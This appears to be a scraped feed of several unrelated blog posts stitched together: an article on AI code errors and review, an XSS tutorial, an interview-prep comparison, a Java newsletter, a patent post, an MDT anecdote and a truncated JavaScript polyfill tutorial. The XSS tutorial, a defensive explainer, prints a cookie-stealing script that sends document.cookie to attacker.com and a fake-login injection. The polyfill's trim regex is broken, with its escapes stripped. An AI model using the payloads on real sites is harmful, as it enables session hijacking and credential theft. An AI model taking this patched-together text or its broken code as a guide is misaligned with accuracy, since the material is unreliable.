Stop Sending IDE-Catchable AI Code Errors to Review

AI coding tools might have handed your developers a productivity gain, but they’ve created a problem for your code review process. Pull request volume is up significantly, and the code arriving for review carries error patterns that weren’t common before generative AI. Yet it’s the same people with the same working hours who are in charge of reviewing it all.

Most engineering leaders are still working out what to do about it. According to our State of Developer Ecosystem 2025 survey of more than 24,000 developers, the dominant pattern is ad hoc: Developers simply use AI tools as they see fit with little governance from above.

Studies report that around 20%–25% of AI code hallucinations are detectable through automated structural and static analysis. Those checks can take place in the environment where the code was written, before a pull request is raised. No governance framework required, no new process layer. 

The case is straightforward: your reviewers’ judgment is a finite resource. Every structural error that reaches review consumes some of it. Every structural error caught earlier doesn’t.

Code review is a decision process – AI just added more decisions

DX’s Q4 2025 data on 51,000 developers showed that daily AI users merge 60% more pull requests per week than light users. A 2025 randomized controlled trial across three enterprise companies found that developers who had access to an AI coding assistant completed 26% more tasks per week than those in the control group without access.

More code arriving at review means more decisions per reviewer per day. That pressure has a measurable cost. Decades before AI coding tools entered the picture, researchers found that review rate was a statistically significant factor in defect removal effectiveness, even after controlling for developer ability. More time spent per line of code reviewed was consistently associated with a greater number of defects found. 

Skill alone couldn’t compensate for rushing. Better tooling should – but tools, including modern AI-assisted ones, have yet to close the gap between what a reviewer sees and what a reviewer needs to know:

  • A 2024 study of a company’s AI code review tool found that even with 73.8% of automated review comments acted on, pull request closure time still increased 42%. The commentary was useful, but the burden was not reduced.
  • In 2025, an empirical study of 16 AI code review tools across more than 22,000 comments discovered that their effectiveness varied widely.
  • A January 2026 study revealed that effective review requires much more than a snapshot of what code was added or removed. Reviewers move between issue trackers, documentation, team discussions, and CI reports to understand what a change means in the codebase they are reviewing.

Review tools continue to leave it to developers to form the big picture. AI has added to that gap, not closed it.

AI is sending a different kind of code to review

A 2025 analysis of more than 500,000 code samples found that AI-generated code carries a distinct error profile: unused constructs, hardcoded values, and higher-risk security vulnerabilities that are more common than in human-written code. A separate 2025 study identified defect categories with no real equivalent in human-written code. 

The error profile is challenging enough. But the way reviewers engage with AI-generated code compounds it. A 2026 study found a reviewers’ blind spot: AI-generated pull requests containing nearly twice the code redundancy drew fewer negative reactions from reviewers than human-written ones. Surface-level plausibility appeared to reduce critical engagement.

More volume. New error types. Less scrutiny. What does the delivery data show?

A 7.2% reduction in delivery stability for every 25% increase in AI adoption, according to DORA. They attributed this pattern partly to larger changesets: More code generated means bigger batches at review, and bigger batches have consistently predicted instability. Size is the signal. The defect profile and the scrutiny data suggest what is behind it. 

Have machines catch what machines can

Automated structural and static checks don’t involve human judgment calls. But who is putting those checks in place? Even at organizations with mature engineering practices, structural screening didn’t emerge adequately at the individual level:

  • Google, running LLM-powered code migrations across its codebase, found that reviewers needed to revert AI-generated changes often enough that the organization made a deliberate investment in automated verification to reduce that burden.
  • Uber, processing tens of thousands of code changes weekly, found that AI-assisted development was overloading reviewers and built an automated review system that runs before human reviewers engage.

In both cases, the fix required an organizational decision. Google and Uber chose to do this at the pipeline level – upstream of pull requests.

The right development environment can catch the same category of errors earlier and requires no separate infrastructure. 

Put “no-excuses” structural analysis before the pipeline

According to the 2025 Stack Overflow Developer Survey, developers use an average of 3.6 development environments. Which ones to use is typically their call. They know their languages and workflows. 

As an engineering leader, you should know whether at least one of those environments is running deep, no-excuses checks of AI-generated code against what actually exists across the entire codebase in all languages. Many development environments do not; they rely on language-by-language approximations instead.

The distinction matters more at the organizational level than at the individual level. A developer working in a single language with a well-configured approximation-based setup may not feel the gap. But the quality of structural analysis across a team is only as consistent as the weakest setup in it.

The same studies on AI code hallucinations found that roughly 44% involve errors that no automated check reliably surfaces. That is more than enough for your reviewers to contend with. Protect their capacity for only what they can handle. 

For every major language your team uses, there is a JetBrains IDE available to maintain a whole-project-resolved model of your codebase. Any code that lands in the editor – regardless of which AI tool produced it – is checked against that model. For teams that want enforcement both before and in the pipeline, Qodana extends that same inspection depth into CI/CD. 

Your reviewers’ judgment is the resource. Structural screening is how you protect it.

See how JetBrains for Business supports that symbiosis at scale.

XSS Explained: How Attackers Execute JavaScript Inside Your Application

Hook

What if an attacker could execute JavaScript inside your users’ browsers — using nothing more than a comment box?
That’s exactly what Cross-Site Scripting (XSS) enables.

Let’s break down how this actually happens in real applications.

What is XSS?

The flow of a typical XSS attack is illustrated above.

Cross-Site Scripting happens when an application renders untrusted user input directly into a web page.
Instead of displaying the input as plain text, the browser interprets it as executable JavaScript.

This allows attackers to run malicious code in another user’s browser — under your application’s trusted domain.

Types of XSS

✔ Stored XSS
Attacker submits malicious input.
Application stores it in database.
Every user who loads the page executes it.

Example scenario:
Comment section
✔ Reflected XSS
Input comes from request (URL/form)
Reflected immediately

Example:
Search page
✔ DOM-based XSS
No server involvement.
Client-side JavaScript inserts attacker-controlled data into DOM.
While these types differ in how the payload is delivered, the core issue is the same: untrusted input is executed as code.

Practical Example

❌ Vulnerable Example (Java/JSP)
String comment = request.getParameter("comment");
saveComment(comment);

Later Rendered:
<div><%= comment %></div>
The application assumes the comment is harmless text.
But the browser has no way to know that.

💥 Attack Input
<script>alert('XSS')</script>
When rendered:
<div><script>alert('XSS')</script></div>

Browser executes it.
The browser has no way to distinguish between legitimate code and attacker-injected code.
Instead of displaying text, the browser executes JavaScript.

Escalate Attack (Attacker Mindset)

Cookie Theft Example

<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

This sends victim session cookies to attacker.
If session cookies are not protected, attacker may hijack active sessions.
This works because browsers automatically include cookies with requests to the same domain.

Fake Login Form

<script>
document.body.innerHTML =
'<h2>Session Expired</h2><input placeholder="Password">';
</script>

Attacker replaces page content with fake UI.
Users unknowingly enter credentials.

Real Impact

Session hijacking

Attacker steals authenticated session.

Account takeover

Victim account accessed without password.

Data theft

Sensitive page data can be extracted.

Phishing inside app
This is especially dangerous because users trust your domain.
Users are far more likely to trust fake prompts when they appear inside a legitimate application they already trust.

The dangerous part about XSS is that it doesn’t attack your backend — it exploits the trust between your application and your users.

How to Prevent XSS

✅ Output Encoding

Escape special characters
Convert < →&lt;
👉 Key idea:
Treat user input as data, not HTML
Unsafe:
<div><%= userInput %></div>

Safe:
<div><c:out value="${userInput}" /></div>

Special characters become text:
<script> becomes visible text instead of executable code.

Method Browser Sees (Source Code) Browser Does
<c:out> &lt;script&gt;evil()&lt;/script&gt; Displays literal text on screen.
<%= %> <script>evil()</script> Executes the script immediately.

✅ Framework Protection

Modern frameworks escape by default.
React (safe)
<div>{userInput}</div>

Dangerous
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Usually, when you render data in React using curly braces {userContent}, React automatically escapes the content. This means it treats everything—including HTML tags—as literal text, preventing malicious scripts from executing.

When you use dangerouslySetInnerHTML, you are telling React to skip that protection and inject the raw string directly into the DOM

✅ ####Content Security Policy
Restrict script execution
Content-Security-Policy: default-src 'self'; script-src 'self';
Even if script injection happens, browser blocks unauthorized script execution.

Common Mistakes

Trusting user input

Never assume users behave correctly.

Using innerHTML

Unsafe:
element.innerHTML = userInput;
Safe:
element.textContent = userInput;

Disabling escaping

Framework protections exist for a reason.

Final Thoughts

Think like an attacker:

Ask:

  • Can I inject script here?
  • Will the browser execute it?
  • Can I steal trust from this page?

XSS is dangerous because it doesn’t attack your server directly — it attacks your users through your application.

If your application renders user input without proper encoding, you’re handing attackers control of your users’ browsers.

In XSS, the attacker doesn’t break your system — they use it against your users.

Always treat user input as data — never as code.

AlgoExpert vs NeetCode: The Interview Skill Neither One Actually Trains

A few years back I worked through both AlgoExpert and NeetCode while preparing for interviews. The 100 polished videos and the 400+ free walkthroughs were useful for what they covered. The interview round that broke me wasn’t a problem either platform had skipped. It was a problem they both had a clean walkthrough for, where I could read either solution after the round and recognise the technique, but in 25 minutes against a whiteboard I couldn’t see it.

The problem was Longest Palindromic Substring. Both platforms have a video. Both derive expand around centre cleanly. After watching either, the technique makes sense. The issue was the interviewer didn’t say “this is a palindrome expansion problem.” The prompt said “find the longest substring that reads the same forwards and backwards.” That gap, between the technique I could follow on a video and the technique I could spot from a description, is what neither platform set out to train.

TL;DR: AlgoExpert wins on video depth per problem. NeetCode wins on breadth and free access. Both teach how techniques work after you’ve named the technique. Neither teaches the recognition before the technique gets named, and that recognition is what an unseen medium problem tests.

What AlgoExpert is good at

Clement’s videos are clean. There’s no other word for them. He picks 100 problems, records each one, walks brute force to optimal in a consistent visual style, and the editing makes the reasoning easy to follow. The single instructor consistency is underrated. After three videos you’ve adapted to his vocabulary, his pacing, and his shorthand for tradeoffs. From video four onward you spend less time adapting and more time absorbing.

The browser IDE inside AlgoExpert is also the best of any platform I tried that leads with video. After watching the walkthrough you have a workspace already loaded with the function signature, the tests, and the language template. The transition from passive watching to active solving costs you no setup, which matters more than it sounds.

The bundle is the other thing the platform gets right. SystemsExpert and FrontendExpert sit beside AlgoExpert under one account. If you’re prepping across DSA, system design, and frontend rounds, paying once for three coordinated curriculums is a real saving in cognitive load alone. The argument that “100 problems is too few” misses what AlgoExpert is going for. The platform aims for depth on a small set, not coverage of everything. On that goal it lands.

What NeetCode does well

NeetCode’s free tier is the best reason to start there. The YouTube channel covers more problems than most paid platforms, and the production quality has improved year over year. NeetCode 150 is the most widely shared curated list in the prep community for a reason. You get a defensible problem ordering without any commitment.

The community momentum is the second thing NeetCode does that almost nobody else matches. Engineers swap solutions in the YouTube comments, swap timelines on the subreddit, swap notes in Discord. Studying alone is the failure mode for most preparation. A platform that pulls you into a group of people preparing in parallel is doing real work, even if the work isn’t a feature on a comparison sheet.

The mapping to LeetCode is also worth naming. The problems you practise on NeetCode are the same problems Big Tech screening tools serve, which means your practice environment matches your screening environment. AlgoExpert’s IDE is more polished, but NeetCode’s environment matches what you’ll actually face when a recruiter sends you a Codility or HackerRank link.

The shared gap, made concrete

Take Longest Palindromic Substring. The interview prompt is one sentence: given a string, return the longest substring that reads the same forwards and backwards. AlgoExpert’s video derives expand around centre cleanly. NeetCode’s video does the same with a slightly different style. Watch either and the solution makes sense.

What neither video sets you up to do is the move that happens before the technique gets named. The move is reading the prompt, noticing that a substring is being asked for, noticing the symmetry constraint, and reaching for expand around centre rather than DP because of those two visible features. In an interview, no one labels the problem for you. Your search for a technique starts from the description, not from a category tag.

The pattern repeats across topics. Take a tree problem like Binary Tree Maximum Path Sum. Both platforms have walkthroughs. After watching either you can reproduce the postorder helper that returns the local max while updating a global. What neither walkthrough installs is the recognition that “any node, any path, any direction” signals the helper-with-side-effects pattern. The walkthrough teaches the pattern. The recognition is a separate skill the walkthrough assumes you’ll pick up by exposure.

What recognition is, mechanically

Recognition is a small set of features you can name on the prompt before any code is written. For expand around centre, the features are roughly:

  1. The output is a substring of a string.
  2. The constraint involves symmetry, palindromes, or some “reads the same in both directions” property.
  3. Other approaches bottom out at quadratic, so the technique you’re looking for is O(n^2) or O(n log n), not O(n) or sub-linear.

When all three apply, expand around centre is the candidate technique to try. Longest Palindromic Substring matches all three. Palindromic Substrings (count, not length) matches the first two. Both fall under the same recognition rule.

This is the part neither AlgoExpert nor NeetCode targets directly. Their walkthroughs assume you’ve already arrived at the technique, then explain it. The arriving is the work no one is helping you do.

Why volume alone doesn’t close it

The cognitive science name for this is the generation effect. Producing an answer from first principles, even imperfectly, builds stronger memory and stronger transfer than recognising a familiar solution. Watching a walkthrough builds recognition of an answer you’ve been shown. Interviews ask for generation, where you produce the technique from a description you haven’t seen.

What you watch and what you generate aren’t the same skill. Watching ten variants of expand around centre gives you a strong recognition memory for variants close to what you watched. The interview problem is rarely close enough. It tends to look just different enough that the recognition memory misses, and you stall on what to try next.

The transfer of learning literature splits this into near transfer and far transfer. Near transfer is solving problems that look like ones you’ve already solved. Far transfer is reasoning through problems that look different but follow the same underlying pattern. Volume in the AlgoExpert / NeetCode mode produces near transfer reliably. Far transfer comes from a different practice shape, where the recognition gets trained on its own.

A recognition protocol you can run this week

If you’ve worked through either platform’s content and unfamiliar mediums still freeze you, the move isn’t another fifty walkthroughs. It’s a tighter loop on recognition first.

  1. Pick one technique a week. Expand around centre, sliding window, two pointer, monotonic stack, postorder with side effects.
  2. Write down the trigger features for that technique. Three or four specific features you can see in a problem statement that, when they all apply, make this technique the candidate. Write them in your own words, not from a cheat sheet.
  3. Read five problems that use this technique without solving them. For each, name the triggers you can see in the prompt before reading any constraints in detail.
  4. Solve three or four problems on the technique with the problem name and category tag hidden. The cover-the-name move is what forces you to recognise the technique before coding starts.
  5. Once a week, do one pressure session. Cover the title, set 25 minutes, talk through your reasoning out loud, and don’t open the IDE until you’ve named the technique you intend to use.

A technique a week, eight or ten weeks of focused work. That replaces the hundred-plus mediums where the signal you actually need gets buried under details that don’t matter.

Both AlgoExpert and NeetCode are reasonable choices for the watching part of this loop. Once you’ve watched the technique once or twice, the work that compounds is the recognition reps the walkthroughs don’t include.

If you’ve already watched hundreds of walkthroughs but still freeze on unfamiliar mediums, the problem usually isn’t knowledge.

It’s recognition.

I wrote a longer breakdown comparing AlgoExpert and NeetCode on:

  • depth vs breadth
  • passive watching vs active recall
  • and the recognition drills that finally fixed this for me

When did the recognition click for a pattern you used to watch and re-watch without spotting on a fresh problem, and what was the specific problem that broke it open?

Java Annotated Monthly – May 2026

April flew by. The pace of tech development didn’t slow, and the flow of news and knowledge didn’t either.

This month, Emily Bache joins us to share some sharp finds about AI agents and test-driven development. Java stays busy with fresh updates and practical tips, and Kotlin keeps pushing forward right next to it. The AI section is, as usual, packed with things worth your attention.

You’ll also find upcoming events to plan for and a few ideas to challenge your thinking.

Featured Content 

Emily Bache

Emily Bache is an independent consultant, YouTuber, author, and Technical Coach, with over 25 years of experience working with Java and other programming languages and tools. She works with developers, training and coaching effective agile practices like refactoring and test-driven development. Emily has written two books about software development and contributed to several others. Emily founded the Samman Technical Coaching Society in order to promote technical excellence and support coaches everywhere.

It’s my pleasure to bring to your attention some interesting content that appeared in April. The huge change that is sweeping through our industry right now is the adoption of AI coding agents, which many people are using instead of hand-coding changes to software. One of the most important new skills to master is designing a “harness” for your AI tool, and this month Birgitta Böckeler has published the best reference I’ve seen so far about what that is and a mental model for how to think about it. Chris Parsons has also published an extensive guide titled How I use AI to Code, which is a really great resource for experienced developers looking to create their own harness and mentor others to do the same.

Perhaps as a contrast, I’d also like to highlight Michael Taggart’s introspective experience report on his use of AI. He wrestles with his conscience over using these tools at all. An interesting metaphor for AI-assisted coding came up in an article by Drew Breunig – we run the risk of building a Winchester Mystery House. After you read that, listen to Kevlin Henney’s talk Being the Human in the Loop, where he takes a look at the engineering skills we still need – ones that could perhaps prevent the kind of thing Drew writes about from happening. 

I have a particular interest in test-driven development, which, as a technical coach, is a big part of what I teach to others. I wrote an initial assessment of what TDD looks like these days, based on interviews with several practitioners I trust who are all using agentic AI. For those of you who’d like to see me in action writing code,  I have a demo of a narrow integration test for an outbound port in a hexagonal architecture, in Kotlin.

Java News

Catch what shipped and track what’s next:

  • Java News Roundup 1, 2, 3, 4
  • Newsletter: Java 26 Is Now Available | JDK 27 Heads-Ups
  • Quality Outreach Heads-up – JDK 27: Obsolete Translation Resources Removed
  • Update Your JDK, Read More Code, and Talk to Your Users: Interviews From VoxxedDays Amsterdam (#93)

Java Tutorials and Tips

Steal these tricks:

  • Analysing Crashed JVMs – Inside Java Newscast #109
  • Oracle’s Java Verified Portfolio and JavaFX: What It Actually Means
  • 10 Things I Hate About Java by Adele Carpenter
  • Is AI Ruining Java Open Source? – Andres Almiray | The Marco Show
  • Java 26: Updates You Must Know
  • Java and Gen AI: JVM Agents With Embabel by Rod Johnson (Spring Creator)
  • A Bootiful Podcast: Java Developer Advocate Ana-Maria Mihalceanu
  • Does Java Really Use Too Much Memory? Let’s Look at the Facts (JEPs)
  • Thread-Safe Native Memory in Java: VarHandle Access Modes Explained
  • Episode 54 “How JDK 26 Improves G1’s Throughput” [AtA]
  • You Must Avoid Final Field Mutation – Inside Java Newscast #110
  • How the JVM Optimizes Generic Code
  • The Curious Case of Enum and Map Serialization
  • Avoiding Final Field Mutation

Kotlin Corner

  • Kotlin kontra Java – Part 1 – Ecosystem
  • Kotlin Professional Certificate by JetBrains – Now on LinkedIn Learning
  • Introducing Koog Integration for Spring AI: Smarter Orchestration for Your Agents
  • Reliable AI Agents Using Domain Modeling With Koog in Java

AI 

Cut the hype, test the tools, and boost your flow: 

  • How We Built a Java AI Agent by Connecting the Dots the Ecosystem Already Had
  • Stateful Continuation for AI Agents: Why Transport Layers Now Matter
  • A Bootiful Podcast: Mark Kropf on AI Orchestration
  • Embabel Tools & MCP Servers: Supercharge Your Java AI Agents
  • Adversarial AI: Understanding the Threats to Modern AI Systems
  • Why Java Developers Over-Trust AI Dependency Suggestions
  • A GitHub Agentic Workflow 
  • ACP Java SDK: Building IDE Agents in Java 
  • Spring AI Agentic Patterns (Part 7): Session API – Event-Sourced Short-Term Memory with Context Compaction
  • Beyond RAG: Architecting Context-Aware AI Systems With Spring Boot 
  • Spring AI Agentic Patterns (Part 6): AutoMemoryTools – Persistent Agent Memory Across Sessions 
  • 5 Best Practices for Working with AI Agents, Subagents, Skills, and MCP 
  • Deepfakes, Disinformation, and AI Content Are Taking Over the Internet
  • MCP in the Java World: Bringing Architectural Strategy to LLM Integrations

Languages, Frameworks, Libraries, and Technologies

Explore new tools and technologies, and revisit the old ones:

  • This Week in Spring 1, 2, 3, 4
  • Article: Beyond RAG: Architecting Context-Aware AI Systems With Spring Boot
  • Six and a Half Ridiculous Things to Do With Quarkus
  • The Spring Team on Spring Framework 7 and Spring Boot 4
  • A Bootiful Podcast: The Legendary Craig Walls
  • Enabling Reflection-Free Jackson Serializers by Default 
  • Understanding Performance 
  • A Bootiful Podcast: A Bootiful Podcast: Dr. Venkat Subramaniam and James Ward on Intelligent Kotlin and So Much More
  • The Road to Docker Official Images for Java: The Azul Zulu Story
  • Spring Debugger New Power: Where Should I Click to Demystify Spring Boot Magic?

Conferences and Events

Join the crowd online or offline:

  • JAX – Mainz, Germany or Online, May 4–8
  • Devoxx UK – London, United Kingdom, May 6–7; JetBrains will have a booth at the event. Also, come and listen to our JetBrains speakers: Marit van Dijk, Cheuk Ting Ho, and Simon Vergauwen. The Spring documentary will premiere there, followed by a panel with Josh Long, Steve Poole, and Marit van Dijk.
  • GeeCon – Kraków, Poland, May 14–15; Marit van Dijk is speaking and moderating a panel on Java to discuss what excites each of them most about Java in 2026. 
  • JAlba – Edinburgh, Scotland, May 14–16
  • JNation Conference – Coimbra, Portugal, May 26–27; Anton Arhipov and Marit van Dijk from JetBrains are the speakers. 
  • JCON Slovenia – Portorož, Slovenia, May 27–29

Culture and Community

Where do you stand on these topics?

  • Panel: Building a Culture That Works
  • How to Do What You Love and Make Good Money 
  • Do Things That Don’t Scale 
  • Encoding Team Standards 
  • Beyond the Hype: Is AI Taking the Fun out of Software Development? 

And Finally…

One last thing before you close the article. Don’t skip it!

  • Using Spring Data JPA With Kotlin
  • Using Spring Data JDBC With Kotlin
  • Speeding up Interactive Rebase in JetBrains IDEs
  • From Java to Wayland: A Pixel’s Journey

That’s it for today! We’re always collecting ideas for the next Java Annotated Monthly – send us your suggestions via email or X by May 20. And don’t forget to check out our archive of past JAM issues for any articles you might have missed!

Five Eyes published the policy on 1 May. Mickai filed the engineering 4 weeks earlier.

Cross-posted from mickai.co.uk.

On 1 May 2026, the Five Eyes intelligence alliance (UK NCSC, US CISA, Australia ASD, Canada CCCS, New Zealand NCSC NZ) issued joint guidance on Agentic AI security. The headline findings: AI agents need verifiable identity, signed audit trails, and cryptographic attestation of behaviour.

Four weeks earlier, on 4 April 2026, I (Micky Irons) filed UK patent application GB2610413.3 at the Intellectual Property Office: the Open Inter-Vendor Audit Record (OAR) format. Twenty claims. The same engineering primitive the Five Eyes guidance describes, only it is already in the public patent record.

The OAR primitive in plain English

Every action an AI agent takes (prompt received, tool call dispatched, model invoked, memory written, response emitted) is captured as an Audit Record. Each record is:

  • Cryptographically signed with a hardware-bound key (post-quantum, ML-DSA-65, FIPS 204).
  • Chained to the previous record so tampering breaks the chain.
  • Vendor-portable. The record format is open. A regulator, an auditor, or the user can verify the chain without depending on the vendor that produced it.

That last property is the policy hook. Five Eyes asked: how does a defender prove what an agent did? OAR’s answer: read the chain, verify the signatures, done. No vendor cooperation required.

Why “4 weeks earlier” matters

Filing dates at the UK IPO are immutable public record. GB2610413.3 has a UK IPO filing date of 4 April 2026. The Five Eyes guidance is dated 1 May 2026. Anyone can verify both dates independently.

This is not a coincidence. Mickai’s broader portfolio is 31 UK patent applications and 914 claims, all named to Mickarle Wagstaff-Irons (Micky Irons, the founder), all filed without external counsel via the UK IPO’s no-fee Apply for a Filing Date route. The work was done before the policy was written, because the policy was the obvious next step once the engineering existed.

What changes for builders

If you are shipping an agent today and you want to be ready for the regulatory wave that the Five Eyes guidance is about to trigger, the OAR primitive gives you three properties:

  1. Verifiability without vendor lock-in. Your customers can audit your agents without your help.
  2. Post-quantum readiness. ML-DSA-65 is the FIPS 204 standard. Quantum-resistant from day one.
  3. Hardware-bound identity. Keys live in TPM / Secure Enclave / TrustZone, not in environment variables.

The full architecture is documented at mickai.co.uk. The article that pegs this to the Five Eyes news is here:

Five Eyes Published the Policy. Mickai Filed the Engineering.

Mickai is a sovereign AI operating system built in Workington, Cumbria, by Micky Irons. 31 UK patent applications, 914 claims. No cloud round-trip. No telemetry. Sovereign by default.

Debugging the Deployment Pipeline (When the MDT Image Goes Ghost)

They call me a Support Tech, but I see myself as a Value Architect. I don’t just “install apps”—I engineer the logic that makes them deploy at scale. Recently, my flow was interrupted when our MDT image decided to stop cooperating. What should have been a routine laptop setup quickly turned into a high-stakes deep dive into systems integrity and deployment architecture.

The Glitch: The Logic Break
I was preparing to image a batch of fresh laptops when the process hit a wall. The system couldn’t find the instructions it needed to start, and Disk Management showed the drive as “Unallocated”.

  • The Problem: The bootable logic on the MDT image was corrupted.
  • The Stake: High-stakes deployments for the IMEA region were at a complete standstill.

The Systems Logic Fix
Instead of just re-downloading and hoping for a miracle, I treated the failure like a software bug that needed a structural fix:

  • Re-partitioning via Script: I didn’t just format the drive; I used Diskpart to re-align the partition logic to match modern UEFI standards—the specific environment Windows 11 requires to function.
  • Verifying Source Integrity: I navigated back to the source on SharePoint to download a fresh, verified IMEA MDT image. This ensured the “code” I was deploying was clean and optimized from the start.
  • The Result: The “ghost” drive was restored, becoming a perfectly functioning deployment tool once again.

Why This is Software Development
Software development is ultimately about creating repeatable, logical processes. By fixing the MDT pipeline, I wasn’t just fixing one laptop; I was ensuring that every future deployment followed a clean, automated script.

This is the exact mindset I am bringing into Data Science—identifying where a data flow is broken and re-building the pipe for maximum efficiency. Whether you’re writing Python or managing MDT images, the goal is Systems Logic. If the foundation is broken, the software won’t run. Fix the foundation first. ✌️

String Polyfills and Common Interview Methods in JavaScript

Hello readers 👋, welcome to the 24th blog in this JavaScript series!

Last time we explored the clever spread and rest operators, learning how the same three dots can either unpack or collect data. Today we are shifting gears to a topic that deeply sharpens your understanding of how JavaScript works under the hood: string polyfills and common interview methods.

Have you ever wondered how "hello".includes("ell") works inside the engine? Or how you could make the same behavior work in an old browser that doesn’t support includes? That’s exactly what we are going to dive into. We will not just use string methods, we will build several of them from scratch, understand the logic, and then solve some classic interview string problems.

Let’s get our hands dirty.

What string methods are

In JavaScript, every string is a primitive value, but when you access a property or method on it, the engine wraps it in a String object behind the scenes. This gives you access to a large set of built-in methods like indexOf, slice, substring, includes, startsWith, endsWith, trim, repeat, and many more.

These methods help you manipulate and inspect strings without manually looping through characters. For example:

const greeting = "Hello, Satya";
console.log(greeting.includes("Satya")); // true
console.log(greeting.startsWith("Hello")); // true
console.log(greeting.endsWith("ya")); // true
console.log(greeting.repeat(2)); // "Hello, SatyaHello, Satya"

They are convenient, but they are also abstractions over simple character-by-character operations. Understanding what happens under the hood is not only fascinating but also extremely valuable for technical interviews.

Why developers write polyfills

A polyfill is a piece of code that provides modern functionality to older browsers that lack it. For example, String.prototype.includes was introduced in ES6 (2015). If you needed to support an environment that didn’t have it, you would write your own version of includes and attach it to String.prototype (carefully, of course).

But even in modern development, writing polyfills serves another purpose: it forces you to truly understand how a method works. Interviewers love to ask, “Can you implement your own version of startsWith?” or “How would you write a polyfill for repeat?” Knowing the internal logic makes you a stronger developer and prepares you for these moments.

So, let’s start building.

Implementing simple string utilities: polyfills

We will write our own versions of several common string methods. For each one, I’ll explain the logic step by step and then show the code. Remember, these are simplified educational versions that aim to mimic the core behavior as per the MDN specification.

Polyfill for includes

The includes method determines whether one string can be found within another string, returning true or false. It takes a search string and an optional position from which to start searching. It is case-sensitive.

Logic: Loop through the main string from the given start position. For each index, check if the substring starting there matches the search string. If we find a full match, return true. If we reach the end without a match, return false.

if (!String.prototype.myIncludes) {
  String.prototype.myIncludes = function(search, start) {
    if (search instanceof RegExp) {
      throw new TypeError("First argument must not be a RegExp");
    }
    start = start || 0;
    if (start + search.length > this.length) return false;
    return this.indexOf(search, start) !== -1;
  };
}

Wait, we used indexOf above! That’s cheating if we want a from-scratch polyfill without relying on other ES6 methods. So let’s do a straight loop:

String.prototype.myIncludes = function(search, start) {
  if (search instanceof RegExp) throw new TypeError("First argument must not be a RegExp");
  start = start || 0;
  var source = this;
  while (start + search.length <= source.length) {
    var match = true;
    for (var i = 0; i < search.length; i++) {
      if (source[start + i] !== search[i]) {
        match = false;
        break;
      }
    }
    if (match) return true;
    start++;
  }
  return false;
};

Now we have a pure implementation. The nested loop checks for character-by-character equality at each possible starting position.

Polyfill for startsWith

startsWith checks if a string begins with the characters of a specified string, returning true or false. It also accepts an optional position.

Logic: From the given position, compare the characters of the source string with the search string. If all match, return true. If any mismatch or if the remaining length is shorter than the search string, return false.

String.prototype.myStartsWith = function(searchString, position) {
  position = position || 0;
  if (position + searchString.length > this.length) return false;
  for (var i = 0; i < searchString.length; i++) {
    if (this[position + i] !== searchString[i]) {
      return false;
    }
  }
  return true;
};

This is straightforward: we just compare the two strings side by side from the starting index.

Polyfill for endsWith

endsWith checks if a string ends with the characters of a specified string, returning true or false. It accepts an optional length parameter, which sets the length of the string to consider. If not provided, it defaults to the full string length.

Logic: We need to compare the end of the source string (up to the given length) with the search string. The start index for comparison will be (length - searchString.length).

String.prototype.myEndsWith = function(searchString, length) {
  var sourceLen = length !== undefined ? length : this.length;
  if (sourceLen > this.length) sourceLen = this.length;
  var startIndex = sourceLen - searchString.length;
  if (startIndex < 0) return false;
  for (var i = 0; i < searchString.length; i++) {
    if (this[startIndex + i] !== searchString[i]) {
      return false;
    }
  }
  return true;
};

Test it:

console.log("Hello world".myEndsWith("world")); // true
console.log("Hello world".myEndsWith("Hello", 5)); // true

Polyfill for repeat

repeat constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. It throws a RangeError if the count is negative or Infinity, and a count of zero returns an empty string.

Logic: We start with an empty string, then loop count times, appending the original string each time. However, for large counts, this would be inefficient. For a polyfill, a simple loop is fine as it’s unlikely to be used with huge numbers in older browsers. But we can implement a more efficient method using doubling.

For simplicity, we’ll do a loop and also handle non-integer counts by flooring them.

String.prototype.myRepeat = function(count) {
  if (count < 0 || count === Infinity) {
    throw new RangeError("Invalid count value");
  }
  count = Math.floor(count);
  var result = "";
  for (var i = 0; i < count; i++) {
    result += this;
  }
  return result;
};

Test: "abc".myRepeat(3) gives "abcabcabc".

Polyfill for trim

trim removes whitespace from both ends of a string. Whitespace includes spaces, tabs, no-break spaces, and all line terminator characters.

Logic: Use a regular expression to strip leading and trailing whitespace. Alternatively, loop from the start and end to find the first non-whitespace character and slice the string.

A regex approach is simple and works in older environments:

String.prototype.myTrim = function() {
  return this.replace(/^[suFEFFxA0]+|[suFEFFxA0]+$/g, "");
};

s matches spaces, tabs, line breaks; uFEFF is BOM (Byte Order Mark); xA0 is non-breaking space. This closely matches the ES5 specification.

Common interview string problems and their logic

Beyond polyfills, interviews often test your ability to manipulate strings using basic algorithms. Here are a few classic problems, along with the thought process and solutions.

1. Reverse a string

Probably the most famous beginner question: “Write a function that reverses a string.” The trick is to avoid using the built-in reverse method on arrays, at least in the explanation, but we can show multiple approaches.

Approach 1: Loop from end to start

function reverseString(str) {
  var reversed = "";
  for (var i = str.length - 1; i >= 0; i--) {
    reversed += str[i];
  }
  return reversed;
}

Approach 2: Using array methods (built-in but still asked)

function reverseString(str) {
  return str.split("").reverse().join("");
}

2. Check if a string is a palindrome

A palindrome reads the same forward and backward. You can use the reverse function and compare, but it’s more efficient to compare characters from both ends moving inward.

function isPalindrome(str) {
  str = str.toLowerCase().replace(/[^a-z0-9]/g, ""); // sanitize
  var left = 0;
  var right = str.length - 1;
  while (left < right) {
    if (str[left] !== str[right]) return false;
    left++;
    right--;
  }
  return true;
}

3. Count occurrences of a character or substring

A straightforward loop or using split:

function countChar(str, char) {
  var count = 0;
  for (var i = 0; i < str.length; i++) {
    if (str[i] === char) count++;
  }
  return count;
}

// Using split trick (but not recommended for interviews if they want algorithm)
function countSubstring(str, sub) {
  return str.split(sub).length - 1;
}

4. Truncate a string

Write a function that truncates a string to a given length and appends “…” if it was truncated.

function truncate(str, maxLength) {
  if (str.length <= maxLength) return str;
  return str.slice(0, maxLength) + "...";
}

5. Capitalize the first letter of each word

A classic transformation:

function capitalizeWords(str) {
  return str.split(" ").map(function(word) {
    if (word.length === 0) return word;
    return word[0].toUpperCase() + word.slice(1).toLowerCase();
  }).join(" ");
}

6. Remove duplicates from a string

We can use a Set, but interviewers might ask for a manual approach:

function removeDuplicates(str) {
  var seen = {};
  var result = "";
  for (var i = 0; i < str.length; i++) {
    if (!seen[str[i]]) {
      seen[str[i]] = true;
      result += str[i];
    }
  }
  return result;
}

These exercises train you to think in loops and conditionals, which is exactly the skill needed to write polyfills or solve algorithmic challenges.

The importance of understanding built-in behavior

